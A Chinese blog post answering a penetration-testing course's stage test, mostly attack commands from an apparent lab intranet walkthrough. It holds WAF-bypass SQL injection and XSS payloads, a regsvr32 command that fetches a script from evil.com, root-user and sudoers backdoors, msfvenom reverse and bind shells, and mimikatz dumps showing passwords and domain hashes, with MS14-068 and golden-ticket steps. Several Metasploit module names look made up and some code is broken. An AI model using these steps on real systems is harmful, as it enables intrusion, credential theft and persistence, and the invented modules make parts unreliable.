阶段测试

1、尝试获取千锋官网服务器真实IP

2、尝试使用sqlilab靶场任意一关写入一句话木马链接

3、绕过安全狗演示文件上传,sql注入,xss漏洞
文件上传绕过方式:垃圾数据绕过,数据包溢出绕过等等

SQL注入绕过:内联注释/*! */

id=-1' /*!11445or*/ 1=1 %23

xss绕过方式:<img src=x onerror=prompt(/img/)>

4、使用文件包含漏洞配合图片马获取服务器shell
可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell

5、演示redis未授权漏洞
redis未授权实际上就是redis刚安装好的时候不需要密码直接监听端口就可以,

6、使用shiro反序列化漏洞获取服务器webshell

7、配合扫描器与手工渗透,为testfire.net网站编写渗透测试报告

https://www.cnblogs.com/TessCat/p/18089628

8、演示Windows与Linux的提权

提权从目的可分为纵向提权与横向提权:

纵向提权:低权限角色获得高权限角色的权限。(最常见的)
横向提权:获取同级别角色的权限。(根据实际的需求)

Windows提权方法
SeImpersonatePrivilege提权
1.执行whoami /priv命令,查看当前用户是否拥有SeImpersonatePrivilege权限。

2.如果拥有权限,使用Impersonate-User脚本提权。该脚本会创建一个新的进程,并使用当前用户的权限执行该进程。

3.如果没有该权限,使用PowerUp脚本,该脚本会检测系统中是否存在可利用的漏洞,并提供相应的利用方法。

DLL劫持提权
1.找到可劫持的DLL文件,如“user32.dll”。

2.创建恶意DLL文件,并将其重命名为“user32.dll”。

3.将恶意DLL文件放置在系统目录下,等待用户或系统调用“user32.dll”时,恶意DLL文件会被加载,从而可以获得系统权限。

Token提权
1.执行whoami /groups命令,查看当前用户所属的组。

2.利用PsExec工具,执行命令psexec -i -d -s cmd.exe,可以获得一个System权限的命令行窗口。

3.在命令行窗口中执行whoami /groups命令,可以看到当前用户已经拥有System权限的token。

Schtasks提权
1.使用schtasks /query命令查看当前系统中的计划任务。

2.找到一个可利用的计划任务,如“System Restore Checkpoint”任务。

3.利用Metasploit框架中的exploit/windows/local/schtasks模块,可修改该任务的参数,从而获得系统权限。

Windows Installer提权
1.执行msiexec /i命令,安装一个恶意的MSI文件。

2.在安装过程中,会自动创建一个System权限的进程。

3.利用该进程,可以执行任意的命令,从而获得系统权限。

服务提权
1.使用sc或net start命令查看当前正在运行的服务。

2.找到一个可利用的服务,如“Print Spooler”服务。

3.利用Metasploit框架中的exploit/windows/local/service_permissions模块,可提升该服务的权限,从而获得系统权限。

Windows Subsystem for Linux提权
1.Windows系统中安装Windows Subsystem for Linux(WSL)。

2.在WSL中安装Metasploit框架。

3.利用Metasploit框架中的exploit/linux/local/sudo模块,可提升当前用户的权限,从而获得系统权限。

利用COM提权
1.执行regsvr32 /s /u /i:https://evil.com/evil.sct scrobj.dll命令,注入一个恶意的COM脚本。

2.注入成功后,会自动执行该脚本,并创建一个System权限的进程。

3.利用该进程,可以执行任意的命令,从而获得系统权限。

Kernel提权
1.执行systeminfo命令,查看当前系统的信息。

2.找到一个可利用的漏洞,如CVE-2019-1458漏洞。

3.利用Metasploit框架中的exploit/windows/local/kernel模块,可利用该漏洞提升当前用户的权限,从而获得系统权限。

Windows Management Instrumentation提权
1.执行wmic service list brief命令,查看当前正在运行的服务。

2.找到一个可利用的服务,如“Winmgmt”服务。

3.利用Metasploit框架中的exploit/windows/local/wmi模块,可提升该服务的权限,从而获得系统权限。

Linux提权方法
SUID提权
1.查找具有SUID权限的文件:find / -perm -4000 -type f 2>/dev/null

2.查看这些文件是否有漏洞:strings /usr/bin/sudo | grep "^"、strings /usr/bin/passwd | grep "^"

3.找到一个有漏洞的文件,利用漏洞获取root权限

内核提权
1.查看内核版本:uname -a

2.查找内核漏洞:searchsploit Linux Kernel <version> | grep -i "privilege escalation"

3.找到一个有漏洞的内核,利用漏洞获取root权限。

/etc/passwd提权
1.在/etc/passwd中添加一个新用户:echo "hacker::0:0:hacker:/root:/bin/bash" >> /etc/passwd

2.切换到新用户:su hacker

3.获取root权限:sudo su

LD_PRELOAD提权
1.编写一个恶意的共享库:cat > rootkit.c << EOF、gcc -shared -o rootkit.so rootkit.c

2.设置LD_PRELOAD环境变量:export LD_PRELOAD=/path/to/rootkit.so

3.运行一个程序,就能够以root权限运行:sudo /usr/bin/vim

/etc/sudoers提权
1.查看是否存在可利用的sudoers文件:cat /etc/sudoers、cat /etc/sudoers.d/*

2.如果存在可利用的sudoers文件,就可以添加一条提权规则:echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

3.切换到hacker用户,就能够以root权限运行:sudo su

枚举系统提权
1.查找系统中的敏感文件:find / -name *.txt -o -name *.log -o -name *.conf -o -name *.sh

2.查看这些文件是否有漏洞,是否包含root密码等信息。

3.利用这些信息获取root权限。

系统服务提权
1.查看正在运行的系统服务:ps aux | grep root

2.查找这些服务是否有漏洞:searchsploit <service> | grep -i "privilege escalation"

3.找到一个有漏洞的服务,利用漏洞获取root权限。

/etc/shadow提权
1.查看/etc/shadow文件是否有漏洞:cat /etc/shadow

2.如果存在可利用的漏洞,就可以利用漏洞获取root权限。

suidperl提权
1.查找系统中是否安装suidperl:find / -name suidperl 2>/dev/null

2.如果存在suidperl,可利用漏洞获取root权限:suidperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

9、回答面试题什么是反序列化漏洞
反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize ()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval ()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作

10、演示所有自己掌握的内网渗透的手段

信息收集

端口扫描

使用工具masscan,nmap,goby

masscan -p- 192.168.234.0/24 --rate==10000

nmap -p- -sC -A 192.168.234.26 -oA webhack123-p

网站信息收集

whatweb http://www.webhack123.com/

gobuster dir -u http://www.webhack123.com/ -w /usr/share/wordlists/dirb/big.txt -t 50

svn信息泄露

漏洞利用 entries

在 ThinkPHP_3.1.3 中 日志文件始开启的 经过 wc.db 可以知道文件目录位置

.svn 存在可以遍历文件 但是这里失败

http://www.webhack123.com/.svn/entries

http://www.webhack123.com/.svn/wc.db

编写tp_log工具

python
#coding:utf-8
import requests
url ="http://www.webhack123.com/App/Runtime/Logs"
def add_urls(patch,y):
	urls=[]
	for i in range(1,7):
		for j in range(1,32):
			if i<10:
				if j<10:
					urls.append(patch+"/%s_0%s_0%s.log" %(y,i,j))
				else:
					urls.append(patch+"/%s_0%s_%s.log" % (y,i,j))
				else:
					if j<10:
						urls.append(patch+"/%s_%s_0%s.log" % (y,i,j))
					else:
						urls.append(patch+"/%s_%s_%s.log" % (y,i,j))
	return urls
urls = add_urls(url,"20")
	for i in urls:
		req=requests.get(i)
			if req.status_code==200:
				print(i)
				html = req.text
				with open("webhack123.txt",'a',encoding='utf-8') as f:
				f.write(html)

password` = 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

web123

碰撞

在 域名服务商(IDC)那里没有指定ip 本地hosts访问

在服务器做了域名绑定

这种可以修改本地hosts文件进行访问

https://github.com/fofapro/Hosts_scan 脚本与我的需求有点不合适小修改了一下自动导入 top3K 子域名进行穷举碰撞 IP 修改后的脚本

!/usr/bin/python

python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#Author:R3start
#这是一个用于IP和域名碰撞匹配访问的小工具

import requests
import re


lists=[]
files = open('hosts_ok.txt','w+')
#读取IP地址
print("====================================开 始 匹 配====================================")
for iplist in open("ip.txt"):
    ip = iplist.strip('\n')
    #读取host地址
    #http_s = ['http://','https://']
    http_s = ['http://']
    for h in http_s :
    	for d in open("subdomains_1000.txt",'r'):#moonsec
    		d=d.strip('\n')
        	for hostlist in open("host.txt",'r'):
            		host = hostlist.strip('\n')
            		headers = {'Host':host,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}
            		try:
                		r = requests.session()
                		requests.packages.urllib3.disable_warnings()
                		rhost = r.get(h + ip,verify=False,headers=headers,timeout=5)
                		rhost.encoding='utf-8'
                		title = re.search('<title>(.*)</title>', rhost.text).group(1) #获取标题
                		info = '%s -- %s 协议:%s 数据包大小:%d 标题:%s' % (ip,host,h,len(rhost.text),title)
                		lists.append(info)
                		files.write(info + "\n")
                		print(info)
            		except Exception :
                		error = ip + " --- " + host + " --- 访问失败!~"
                		print(error)
print("====================================匹 配 成 功 的 列 表====================================")
for i in lists:
    print(i)

phpstudy 套件是默认是管理员权限的直接上传执行 exe 就是高权限了

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.234.4 lport=12345 -f exe >s.exe

msfconsole

use exploit/multi/hander

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.234.4

set lport 12345

run

查看权限getuid

ps查看进程

migrate 468 迁移到系统进程里

mimikatz 哈希明文获取

load mimikatz/kiwi

creds_tspkg

Username Domain Password


Administrator WEB !@#Qwe456

看一下

arp

端口 netstat

看到是和10.10.10.149有连接的

现在确定一下是否在域里面

shell

ipconfig /all

解决乱码用chcp 65001

hostname查看主机名

域控上面都要配置dns

10.10.10.149 这个ip上 可能是域控

域内信息收集

域控信息收集

net time /domain

net time /domain:hackbox

工作组信息收集

net group /domain

获取登录过的用户信息、

run post/windows/gather/enum_logged_on_users

SID Profile Path


S-1-5-18 C:\Windows\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX

添加路由渗透域控

background

use auxiliary/server/socks_proxy

run autoroute -s 10.10.10.0/24

通过代理扫描域控

proxychains4 nmap -sT -Pn 10.10.10.149

永恒之蓝直接打

没成功

ms14-068 的条件

使用这个 exp 需要一个普通域控用户 web 是域用户 但是不知道密码

域普通用户 创建票据 注入票据 获得访问权限 域超级管理员权限

web 主机名 用户名web

有时候web 系统管理员 密码都一样

开启远程桌面
run post/windows/manage/enable_rdp
rdesktop 192.168.234.27

使用工具创建票据

MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

TGT_web@hackbox.com.ccache

在 metasploit mimikatz 好似没有这个功能

上传mimikatz 注入票据

upload /root/Desktop/mimikatz-master/x64/mimidrv.sys C:/phpstudy_pro/WWW/www.webhack123.com/

upload /root/Desktop/mimikatz-master/x64/mimikatz.exe C:/phpstudy_pro/WWW/www.webhack123.com/

upload /root/Desktop/mimikatz-master/x64/mimilib.dll C:/phpstudy_pro/WWW/www.webhack123.com/

shell

mimikatz.exe 使用工具

kerberos::purge 清除票据

kerberos::list 查看票据

kerberos::ptc TGT_web@hackbox.com.ccache 插入票据

访问域控dir \dc\c$

生成正向马

只要dc能运行这个 d.exe metasploit 就可以正向链接到 meterpreter

msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe >pwd/d.exe

copy 复制到域控

copy d.exe \dc\c$\

at 执行任务运行 exe

net time \dc

at \dc 这里是执行时间 c:/d.exe

获取域控权限命令

复制文件到目标
copy bind.exe \dc\C$
查询 dc 时间
net time \dc
增加任务执行
at \dc 这里是执行时间 c:/d.exe

连接域控
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.149
set lport 13777
exploit

获取 dc 域控哈希明文

hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ef9b0225de3ab24be9e2d97f59b3018f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98:::
web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:3562c74e346b3e8509381ff675d37b90:::
WEB$:1104:aad3b435b51404eeaad3b435b51404ee:665f9f359183133251a3eb49c44d2b21:::

run post/windows/gather/smart_hashdump

[] Running module against DC
[
] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[] /root/.msf4/loot/20240107063931_default_10.10.10.149_windows.hashes_844967.txt
[+] Host is a Domain Controller
[
] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:ef9b0225de3ab24be9e2d97f59b3018f
[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
[+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074
[+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:3562c74e346b3e8509381ff675d37b90
[+] WEB$:1104:aad3b435b51404eeaad3b435b51404ee:665f9f359183133251a3eb49c44d2b21
meterpreter > load mimikatz

creds_tspkg
[+] Running as SYSTEM
[*] Retrieving tspkg credentials

tspkg credentials

Username Domain Password


Administrator HACKBOX !@As123

dcsync_ntlm krbtgt
[!] Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)
[+] Account : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502

制作黄金票据

考虑长期权维护,还是做一个黄金票据比较保险。

获取 ntml sid rid

wmic useraccount where name="krbtgt" get sid

dcsync_ntlm krbtgt

golden_ticket_create -d hackbox.com -u moonsec -s

posted @ 2024-03-22 16:06  谔斯猫  阅读(11)  评论(0编辑  收藏  举报